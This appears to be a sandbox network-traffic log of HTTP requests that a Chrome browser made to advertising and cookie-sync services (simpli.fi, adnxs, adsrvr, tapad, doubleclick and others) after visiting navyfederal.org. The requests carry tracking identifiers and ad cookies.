Source: global traffic	HTTP traffic detected: GET /tapad HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /ad_advisor HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9212282598&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&ona= HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=adfc6131-af7a-40bc-8471-a600370a4548&ona= HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Ft%3D1%26add%3D37387871%26ver%3D9%26userid%3D357c28c3-9efd-4e35-8e20-288ff8da4a1a%253A1716590758.313698%26pe%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%26pf%3D HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=-Ku_OzYo8XmfPqMqp0ugJWmV8OZMxLowgoDskFDWt8c_VywE2vybDavkhYg8dK7U8cGP1iBLph_kJZOHzTKcBnqKBqU_Iqbm9jOco39o59c.; uuid2=3999824996912621983
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915 HTTP/1.1Host: i6.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465 HTTP/1.1Host: i6.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; anj=dTM7k!M4/8CxrEQF']wIg2E?h?=+XZ!@wnf-Te9(>wL5L!!'g8$t[iH; uuid2=6116765264039870456
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&_zip=&hk=&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&mt=&bd=&cb=1716590766029 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g_match?id=&google_error=3 HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; receive-cookie-deprecation=1; uuid2=6116765264039870456
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1026675585/?random=144126916&cv=7&fst=1716590764895&fmt=3&value=0&label=eGG0CO2U2AIQgafH6QM&guid=ON&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIgcSxAiIBAUAB&pscrd=CLa55LqA4duPASITCIWczfaup4YDFeyLgwcdxDQGuTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLOiRodHRwczovLzk3NDk4OTIuZmxzLmRvdWJsZWNsaWNrLm5ldC8 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=adfc6131-af7a-40bc-8471-a600370a4548&mt=&bd=&cb=1716590766076 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/?dspInit=1001136&dspCookie=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: s.ad.smaato.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xuid?mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9201915418&sifi_uid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?UISF=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: simplifi.partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/simplifi/4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/appnexus?ttd=1&anid=6116765264039870456&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive/check?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae
Source: global traffic	HTTP traffic detected: GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&google_error=3 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&_zip=&hk=&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&mt=&bd=&cb=1716590766029 HTTP/1.1Host: px0.pbbl.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=adfc6131-af7a-40bc-8471-a600370a4548&mt=&bd=&cb=1716590766076 HTTP/1.1Host: px0.pbbl.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /intentiq HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /cookie-sync?p=smaato&initiation=partner&uid=c4c4808b0e&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/appnexus?ttd=1&anid=6116765264039870456&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/1026675585/?random=144126916&cv=7&fst=1716590764895&fmt=3&value=0&label=eGG0CO2U2AIQgafH6QM&guid=ON&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIgcSxAiIBAUAB&pscrd=CLa55LqA4duPASITCIWczfaup4YDFeyLgwcdxDQGuTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLOiRodHRwczovLzk3NDk4OTIuZmxzLmRvdWJsZWNsaWNrLm5ldC8&is_vtc=1&cid=CAQSKQDaQooLaFEJFEq1RuT_q_yfhie7XDJyD1rWqzhW8dvtHSOClo-ZMCX8&random=919291552 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xuid?ld=1&mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=4311655648632522917084; tluid=4311655648632522917084
Source: global traffic	HTTP traffic detected: GET /sync?UISF=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: simplifi.partners.tremorhub.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive/check?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: pixel.tapad.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae; TapAd_3WAY_SYNCS=
